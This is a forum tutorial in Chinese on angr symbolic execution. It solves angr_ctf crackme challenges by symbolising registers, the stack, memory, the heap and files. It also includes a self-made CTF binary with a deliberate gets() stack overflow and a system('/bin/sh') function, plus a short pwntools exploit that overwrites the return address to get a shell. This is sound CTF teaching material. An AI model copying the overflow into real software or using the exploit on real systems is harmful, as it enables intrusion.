查看原文
其他

angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目

直木 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:直木



一道自己模仿出的题目


之前学习01_angr_avoid就很奇怪它是怎么生成这样一个有很多重复函数的程序的,后来五一期间,由于某个需求,本菜鸡就硬着头皮想自己也仿着出一个类似的题。还好angr_ctf仓库有相应的源码,是用python的模版引擎templite生成的。

下面就是这道题,没有新意,有点套娃的感觉,angr接一个简单栈溢出。

生成题目程序的python代码(generate.py)
#!/usr/bin/env pypyimport sys, random, os, tempfilefrom templite import Templite
def generate(argv): if len(argv) != 3: print 'Usage: pypy generate.py [seed] [output_file]' sys.exit()
seed = argv[1] output_file = argv[2]
random.seed(seed)
# 获取描述文字 description = '' with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'description.txt'), 'r') as desc_file: description = desc_file.read().encode('string_escape').replace('\"', '\\\"')
random_list = [random.choice([True, False]) for _ in xrange(64)] # 读取模板文件auto.c.templite template = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'auto.c.templite'), 'r').read() # 渲染模板,传入描述文字和随机boolean列表,得到c代码 c_code = Templite(template).render(description=description, random_list=random_list)
# 写c代码到c文件,并调用gcc进行编译 with tempfile.NamedTemporaryFile(delete=False, suffix='.c') as temp: temp.write(c_code) temp.seek(0) os.system('gcc -m32 -fno-stack-protector -o ' + output_file + ' ' + temp.name)
if __name__ == '__main__': generate(sys.argv)


  • 描述文字(description.txt)

Welcome~~~


对于angr_ctf题目,这个文件存储的就是 placeholder,print_msg打印的就是从它获取的内容。


模板文件(auto.c.templite)
${import random, osrandom.seed(os.urandom(8))userdef_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'userdef = ''.join(random.choice(userdef_charset) for _ in range(8)) # 随机选取8个字母当作userdef,也就是最后输入要比较的字符串
def check_string_recursive(array0, array1, random_list, bit): if bit < 0: write('aas(%s, %s);' % (array0, array1)) else: if random_list[0]: # 如果随机boolean列表第一个元素为True write('if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {' % (array0, bit, array1, bit)) check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用 write('} else { aaz(); ') check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用 write('}') else: # 如果随机boolean列表第一个元素为False write('if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();' % (array0, bit, array1, bit)) check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用 write('} else { ') check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用 write('}')}$
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <stdint.h>
#define USERDEF "${ userdef }$"#define LEN_USERDEF ${ write(len(userdef)) }$
// return true if nth bit of array is 1#define CHECK_BIT(array, bit_index) (!!(((uint8_t*) array)[bit_index / 8] & (((uint8_t) 0x1) << (bit_index % 8))))
char msg[] = "${ description }$";
uint8_t should_succeed = 1;
void print_msg() { printf("%s", msg);}
int complex_function(int value, int i) { // 。。。复杂运算,直接就遍历出来了,应该改复杂一些的#define LAMBDA 5 if (!('A' <= value && value <= 'Z')) { printf("Try again.\n"); exit(1); } return ((value - 'A' + (LAMBDA * i)) % ('Z' - 'A' + 1)) + 'A';}
void aaz() { should_succeed = 0;}
void get_sh(){ system("/bin/sh");}
int login_again() { setbuf(stdout, NULL); setbuf(stderr, NULL); setbuf(stdin, NULL);
char pwd[64]; printf("Enter the password again: "); gets(&pwd); // 栈溢出 if(strcmp(pwd,"deadbeef") == 0){ puts("I think you can't get shell"); }else{ puts("Error."); } return 0;}
void aas(char* compare0, char* compare1) { if (should_succeed && !strncmp(compare0, compare1, 8)) { // 如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步 login_again(); } else { printf("Error.\n"); }}
int main(int argc, char* argv[]) {
char buffer[20]; char password[20];
//print_msg();
for (int i=0; i < 20; ++i) { password[i] = 0; }
strncpy(password, USERDEF, LEN_USERDEF); // password = USERDEF,最后要和输入比较的字符串
printf("Enter the password: "); // 输入 scanf("%8s", buffer);
for (int i=0; i<LEN_USERDEF; ++i) { // 对输入进行复杂运算 buffer[i] = (char) complex_function(buffer[i], i); } // 递归调用,也就是这里生成很多函数 ${ check_string_recursive('buffer', 'password', random_list, 12) }$}

运行生成二进制文件:
python generate.py 123 auto

 
利用:
# auto_angr.pyimport angrimport sys
def main(argv): path_to_binary = './auto2' project = angr.Project(path_to_binary) initial_state = project.factory.entry_state() simulation = project.factory.simgr(initial_state)
success_address = 0x0804874A will_not_succeed_address = 0x08048658 simulation.explore(find=success_address, avoid=will_not_succeed_address)
if simulation.found: solution_state = simulation.found[0] print(solution_state.posix.dumps(sys.stdin.fileno())) else: raise Exception('Could not find the solution')
if __name__ == '__main__': main(sys.argv)
# auto_exp.pyfrom pwn import *#context.log_level = 'debug'p = process('./auto')
#p = remote('127.0.0.1',10001)p.recvuntil('password: \n')p.send('UXYUKVNZ')p.recvuntil('again: \n')p.sendline(b'a'*0x4c + p32(0x08048665))p.recvline()p.interactive()

下面继续以前写了一半就丢一边的其他题目。


03_angr_symbolic_registers


步骤一:查看文件属性和检查安全机制

  • 32位程序
  • 关闭了PIE

步骤二:IDA静态分析

分析完后发现程序的功能是:以十六进制格式输入3个值,然后分别对他们做不同的复杂运算,最后判断三个复杂运算的结果,如果都为假,那么会打印“Good Job.”。
 

那是怎么判断出传入complex_function1、complex_function2、complex_function3 的参数是输入的三个变量的呢?首先来看一看要求以十六进制格式输入三个值的输入函数get_user_input:
然后,main函数中的v4是get_user_input函数的返回值,很明显就是第一个输入值了。main函数中的v3由上方声明处的注释可知是ebx的值,v6由v5赋值,是edx的值。

都是寄存器中值,那就说明它们的值不是预先定义好,猜测是对应输入函数get_user_input里的v2和v3,那么去查看输入函数get_user_input的汇编代码。

输入之后,分别把输入值先后赋值给了eax、ebx和edx,刚好对应main函数的v4、v3和v6。

接着,我们想想怎么解题。这一题和前面的题目最大的不同就是要符号化输入,前面三题之所以没有对输入进行符号化是因为输入很简单,angr自动对其进行符号化了,以便输入函数将符号值注入到寄存器中。

这一题因为输入scanf函数中的格式化字符串更复杂,目前angr不支持从scanf函数读取多个值,所以需要我们往寄存器中手动注入符号。

 

本题就需要对这三个寄存器进行注入,并且告诉模拟引擎在scanf函数之后开始。
 

结合汇编代码如下图所示。
 

开始地址是:0x80488d1:
 

当输入复杂,需要手动注入符号值的几个情况:
  • scanf的格式化字符串复杂
  • 输入来自文件
  • 输入来自网络
  • 输入来自UI交互

步骤三:使用angr解题

import angrimport claripyimport sys
def main(argv): path_to_binary = argv[1] project = angr.Project(path_to_binary)
# 这里我们指定符号执行引擎开始的地方 # 注意,这里state的构造函数用的是blank_state,构造了一个空白state,不再是entry_state了 start_address = 0x80488d1 # :integer (probably hexadecimal) initial_state = project.factory.blank_state(addr=start_address)
# 创建一个符号位向量(angr用于给二进制文件注入符号值的数据类型) password0_size_in_bits = 32 # :integer password0 = claripy.BVS('password0', password0_size_in_bits)
password1_size_in_bits = 32 # :integer password1 = claripy.BVS('password1', password1_size_in_bits)
password2_size_in_bits = 32 # :integer password2 = claripy.BVS('password2', password2_size_in_bits)
# 将寄存器设置为符号值。这是向程序中注入符号的一种方法。 # 将不同寄存器设置为不同的符号值 initial_state.regs.eax = password0 initial_state.regs.ebx = password1 initial_state.regs.edx = password2
simulation = project.factory.simgr(initial_state)
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Good Job.' in str(stdout_output)
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found: solution_state = simulation.found[0]
# 使用eval来得到求解值 # 原解题脚本的state.se已经被废弃,根据提示使用state.solver solution0 = solution_state.solver.eval(password0) solution1 = solution_state.solver.eval(password1) solution2 = solution_state.solver.eval(password2)
# 汇总并格式化上面的结果,最后打印出来 solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ])) # :string print(solution) else: raise Exception('Could not find the solution')
if __name__ == '__main__': main(sys.argv)

运行结果:

Bitvectors:可以看angrctf里的ppt,很清楚,这里就不再贴了。

eval

    • solver.eval(expression) 将会解出一个可行解
    • solver.eval_one(expression)将会给出一个表达式的可行解,若有多个可行解,则抛出异常。
    • solver.eval_upto(expression, n)将会给出最多n个可行解,如果不足n个就给出所有的可行解。
    • solver.eval_exact(expression, n)将会给出n个可行解,如果解的个数不等于n个,将会抛出异常。
    • solver.min(expression)将会给出最小可行解
    • solver.max(expression)将会给出最大可行解

angr_symbolic_stack

步骤一:查看文件属性和检查安全机制

  • 32位程序
  • 关闭了Canary和PIE


步骤二:IDA静态分析



这里同样的,scanf的格式化字符串有两个参数,相对“复杂”。因为对于scanf函数,angr只能自动注入一个参数,所以需要我们手动进行注入。同时在对输入符号化后还需找到启动程序的地方。
 

调用函数scanf对应的汇编代码如下所示,红框中的代码为调用scanf函数的过程。

 
v1的地址是ebp-0x10,v2的地址是ebp-0xc,函数handle_user调用scanf函数前后栈的结构如下图所示。

所以,很明显,add esp,10h指令才是调用scanf函数的最后一条指令。因此,angr启动该程序的地址应该设置为0x08048697。
 

上一题只需要把符号值注入给寄存器,然后从指定地址启动程序就可以了,但是这一题不一样,要符号化的输入在栈里,所以我们需要在启动该程序之前自己构造相应的栈结构。
 
方法是通过state.stack_push(my_bitvector)来将值my_bitvector push到栈顶。

另外,如果需要push一些无用的数据,则可以使用类似state.regs.esp-=4的代码来达到目的,这行代码实现的就是填充4字节的padding。
 
因为这一题关闭了Canary,所以v2和ebp之间只填充无用数据就可以。


步骤三:使用angr解题

import angrimport claripyimport sys
def main(argv): path_to_binary = './04_angr_symbolic_stack' project = angr.Project(path_to_binary)
# 启动地址设置为 add esp, 10h的下一条指令的地址 start_address = 0x8048697 initial_state = project.factory.blank_state(addr=start_address)
# 开始构造栈结构 # 最初,ebp和esp的值相等 initial_state.regs.ebp = initial_state.regs.esp
# 两个位向量,符号化输入 password0 = claripy.BVS('password0', 32) password1 = claripy.BVS('password1', 32)
# 由上面的栈结构图可知ebp距离输入8字节,所以先填充8字节无用数据 padding_length_in_bytes = 8 # :integer initial_state.regs.esp -= padding_length_in_bytes
# 然后填充两个位向量 initial_state.stack_push(password0) # :bitvector (claripy.BVS, claripy.BVV, claripy.BV) initial_state.stack_push(password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Good Job.' in str(stdout_output)
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found: solution_state = simulation.found[0] # 求解 solution0 = solution_state.se.eval(password0) solution1 = solution_state.se.eval(password1)
solution = ' '.join(map(str, [ solution0, solution1 ])) print(solution) else: raise Exception('Could not find the solution')
if __name__ == '__main__': main(sys.argv)

运行结果:

04_angr_symbolic_memory


步骤一:查看文件属性和检查安全机制
  • 32位程序
  • Canary和PIE关闭
步骤二:IDA静态分析


解题思路和上一题是一样的,不过这里使用state.memory.store(address, value)将全局变量的值修改为符号值(操作一段连续的内存)。
 

启动地址:0x8048606。
步骤三:使用angr解题
import angrimport claripyimport sys
def main(argv): path_to_binary = './05_angr_symbolic_memory' project = angr.Project(path_to_binary)
start_address = 0x8048606 initial_state = project.factory.blank_state(addr=start_address)
# scanf("%8s %8s %8s %8s"). password0 = claripy.BVS('password0', 8*8) password1 = claripy.BVS('password1', 8*8) password2 = claripy.BVS('password2', 8*8) password3 = claripy.BVS('password3', 8*8)
# 修改全局变量的值为符号值 password0_address = 0xa29faa0 initial_state.memory.store(password0_address, password0) password1_address = 0xa29faa8 initial_state.memory.store(password1_address, password1) password2_address = 0xa29fab0 initial_state.memory.store(password2_address, password2) password3_address = 0xa29fab8 initial_state.memory.store(password3_address, password3)
simulation = project.factory.simgr(initial_state)
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Good Job.' in str(stdout_output)
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found: solution_state = simulation.found[0]
# 求解 solution0 = solution_state.solver.eval(password0,cast_to=bytes) solution1 = solution_state.solver.eval(password1,cast_to=bytes) solution2 = solution_state.solver.eval(password2,cast_to=bytes) solution3 = solution_state.solver.eval(password3,cast_to=bytes)
solution = solution0 + b' '+ solution1 + b' ' + solution2 + b' ' + solution3
#solution = ' '.join([ solution0, solution1, solution2, solution3 ])
print(solution.decode('utf-8')) else: raise Exception('Could not find the solution')
if __name__ == '__main__': main(sys.argv)

运行结果:

05_angr_symbolic_dynamic_memory


步骤一:查看文件属性和检查安全机制
  • 32位程序
  • 关闭了Canary和PIE

步骤二:IDA静态分析

 
分配动态内存的程序的一般执行流程如下图所示。
 

既然heap上的内存地址会变化,那么我们可以选择两个未被使用的内存地址,并覆盖两个buffer指针分别指向它们。因为buffer0和buffer1是全局变量且程序关闭了PIE,所以是可以实现的。
 

启动地址:0x804869e
 

步骤三:使用angr解题

import angrimport claripyimport sys
def main(argv): path_to_binary = './06_angr_symbolic_dynamic_memory' project = angr.Project(path_to_binary) # 启动地址 start_address = 0x804869e initial_state = project.factory.blank_state(addr=start_address)
#scanf("%8s %8s"). password0 = claripy.BVS('password0', 8*8) password1 = claripy.BVS('password1', 8*8)
# 修改两个全局指针buffer的值为没有被使用的地址(伪造的heap地址) fake_heap_address0 = 0x4444444 pointer_to_malloc_memory_address0 = 0xa79a118 initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness) fake_heap_address1 = 0x4444454 pointer_to_malloc_memory_address1 = 0xa79a120 initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)
# 修改伪造的heap的内容为符号值 initial_state.memory.store(fake_heap_address0, password0) initial_state.memory.store(fake_heap_address1, password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Good Job.' in str(stdout_output)
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found: solution_state = simulation.found[0] # 求解 solution0 = solution_state.solver.eval(password0,cast_to=bytes) solution1 = solution_state.solver.eval(password1,cast_to=bytes)
#solution = ' '.join([ solution0, solution1 ]) solution = solution0 + b' ' + solution1 print(solution.decode('utf-8')) else: raise Exception('Could not find the solution')
if __name__ == '__main__': main(sys.argv)


cast_to:可以接收一个参数来指定把结果映射到哪种数据类型。目前这个参数只能是str,它将会以字符串形式展示返回的结果

 
运行结果:
 


06_angr_symbolic_file


步骤一:查看文件属性和检查安全机制
  • 32位程序
  • 关闭了PIE
步骤二:IDA静态分析



这一题的目的是想要让我们学会:当输入来自文件(包括网络、另一个程序的输出和/dev/urandom等),那么如何符号化输入。

方法就是将整个文件都符号化。在angr中,与文件系统、套接字、管道或终端的任何交互的根源都是一个 SimFile 对象。SimFile 是一种存储抽象,它定义一个字节序列,不管是符号的还是其他的。
 
通过SimFile创建一个有具体内容的文件的方法:
# 内容为字符串password = angr.storage.SimFile(filename, content='hello world!\n',size=len('hello world!\n'))# 内容为符号值symbolic_file_size_bytes = 64password = claripy.BVS('password', symbolic_file_size_bytes * 8)password_file = angr.storage.SimFile(filename, content=password, size=symbolic_file_size_bytes)

接着,如果想让 SimFile 对程序可用,我们需要将它放在文件系统中,模拟的文件系统是 state.fs插件。

将模拟文件放入文件系统有两种方法,一是在创建初始状态的同时将模拟文件存储进去:
initial_state = project.factory.blank_state(addr=start_address,fs={filename:password_file})

二是在创建初始状态之后单独使用insert将文件存储到文件系统中,另外还可以使用 get 和 delete 方法从文件系统中加载和删除文件。更多关于SimFile的内容可看官方文档。
 

启动地址仍然是找输入之后的指令:0x080488DB。
步骤三:使用angr解题
import angrimport sysimport claripy
def main(argv): path_to_binary = "./07_angr_symbolic_file" project = angr.Project(path_to_binary) start_address = 0x80488DB
filename = 'WCEXPXBW.txt' symbolic_file_size_bytes = 64 # 位向量,符号化 password = claripy.BVS('password', symbolic_file_size_bytes * 8) # 模拟一个文件(文件名,文件内容,文件大小) password_file = angr.storage.SimFile(filename, content=password, size=symbolic_file_size_bytes) # 创建初始化状态时,创建模拟文件 initial_state = project.factory.blank_state(addr=start_address,fs={filename:password_file})
simulation = project.factory.simgr(initial_state)
def is_successful(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Good Job.' in str(stdout_output)
def should_abort(state): stdout_output = state.posix.dumps(sys.stdout.fileno()) return 'Try again.' in str(stdout_output)
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found: solution_state = simulation.found[0] # 求解 solution = solution_state.solver.eval(password, cast_to=bytes) print(solution.decode('utf-8')) #print(solution) else: raise Exception('Could not find the solution')
if __name__ == "__main__": main(sys.argv)

运行结果:


参考文献:

https://github.com/angr/angr-doc/blob/master/docs/file_system.md

https://github.com/jakespringer/angr_ctf/

https://jasper.la/posts/angr-9-simfile-without-simsymbolicmemory/




 


看雪ID:直木

https://bbs.pediy.com/user-home-830671.htm

  *本文由看雪论坛 直木 原创,转载请注明来自看雪社区





# 往期推荐



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存